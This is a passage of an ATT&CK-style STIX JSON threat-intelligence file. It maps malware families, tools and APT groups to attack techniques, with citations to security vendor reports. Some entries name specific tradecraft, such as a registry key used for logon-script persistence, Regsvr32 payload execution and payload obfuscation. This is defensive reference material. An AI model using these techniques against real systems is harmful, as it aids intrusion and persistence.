                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) can gather the username from the system.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--47a31ea1-4b4d-4141-9d41-07d3b229913c",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.955Z",
            "created": "2019-01-30T18:58:04.062Z"
        },
        {
            "id": "relationship--54c703f9-67ef-4622-afed-0ebbd2563e9e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) decrypts code, strings, and commands to use once it's on the victim's machine.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-16T19:50:57.934Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell.(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                }
            ],
            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "type": "relationship",
            "modified": "2020-01-10T15:12:52.360Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.(Citation: TrendMicro Hacking Team UEFI)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Hacking Team UEFI",
                    "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/"
                }
            ],
            "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
            "type": "relationship",
            "modified": "2019-12-20T13:42:28.077Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b4e77f71-970a-4b24-938f-0d50ecea1969",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of providing shell functionality to the attacker to execute commands.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:58:23.966Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--70d5a73c-cc14-410a-a430-5948cd21532f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key <code>HKCU\\Environment\\UserInitMprLogonScript</code> to establish persistence.(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 1",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"
                },
                {
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "source_name": "Talos Seduploader Oct 2017"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
            "type": "relationship",
            "modified": "2020-01-17T22:27:28.384Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) uses Base64 encoding for C2 traffic.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:16:03.139Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7d181964-875f-4132-8882-46e9dd18e893",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses the <code>net user</code> command.(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-09-02T18:46:33.172Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--34d105a6-47ac-4a8b-b892-6f630cd97096",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) can download and execute a file from given URL.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-21T00:07:11.928Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a713d0d3-2897-4da2-995f-df3a40f04b29",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.445Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d2263afd-2fd3-4f98-96a5-a00e5f33b99e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [JPIN](https://attack.mitre.org/software/S0201) uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T16:57:38.879Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--536ed2f4-46c5-4485-998c-60f0480d5c21",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) lists the current running processes on the system.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2021-03-29T19:50:54.288Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--89424d69-a426-4f76-9e7f-7b2dabe459be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor.(Citation: FireEye FIN7 March 2017)(Citation: Cisco DNSMessenger March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 March 2017",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"
                },
                {
                    "source_name": "Cisco DNSMessenger March 2017",
                    "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.",
                    "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
                }
            ],
            "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-17T02:11:28.377Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) queries several Registry keys to identify hard disk partitions to overwrite.(Citation: Palo Alto Shamoon Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-04-24T23:59:16.370Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--337abaa3-80a6-4c41-9936-2eed13b84ba9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses cmd.exe to execute commands.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-09-02T18:46:33.309Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2853aaaa-982e-49bf-a219-b4f16805b983",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can use Regsvr32 to execute additional payloads.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.543Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) encrypted a .dll payload using RTL and a custom encryption algorithm. [APT28](https://attack.mitre.org/groups/G0007) has also obfuscated payloads with base64, XOR, and RC4.(Citation: Bitdefender APT28 Dec 2015)(Citation: Unit 42 Sofacy Feb 2018)(Citation: Palo Alto Sofacy 06-2018)(Citation: Talos Seduploader Oct 2017)(Citation: Accenture SNAKEMACKEREL Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.295Z",
            "created": "2017-05-31T21:33:27.039Z"
        },
        {
            "id": "relationship--47df35dd-7d45-452d-af46-d04348a6b363",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) has obfuscated DLLs and functions using dummy API calls inserted between real instructions.(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.760Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.149Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6d102ef8-c831-413d-b2cb-392517638b0b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses HTTP for C2.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "source_name": "Palo Alto Sofacy 06-2018"
                },
                {
                    "source_name": "Unit42 Cannon Nov 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."
                },
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "source_name": "Unit42 Sofacy Dec 2018"
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                },
                {
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018"
                }
            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:54:27.611Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers a list of running processes.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.575Z",
            "created": "2017-05-31T21:33:27.074Z"
        },
        {
            "id": "relationship--954961e4-0bf5-496e-b200-e63d99c006de",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing keylogging.(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 2)(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "source_name": "Crowdstrike DNC June 2016"
                },
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:29:11.894Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.(Citation: Alienvault Sykipot DOD Smart Cards)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Alienvault Sykipot DOD Smart Cards",
                    "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
            "type": "relationship",
            "modified": "2020-03-16T17:50:28.614Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--457cb4ac-e64b-4905-853b-933a28bd34cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit various path interception opportunities in services, processes, and variables.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
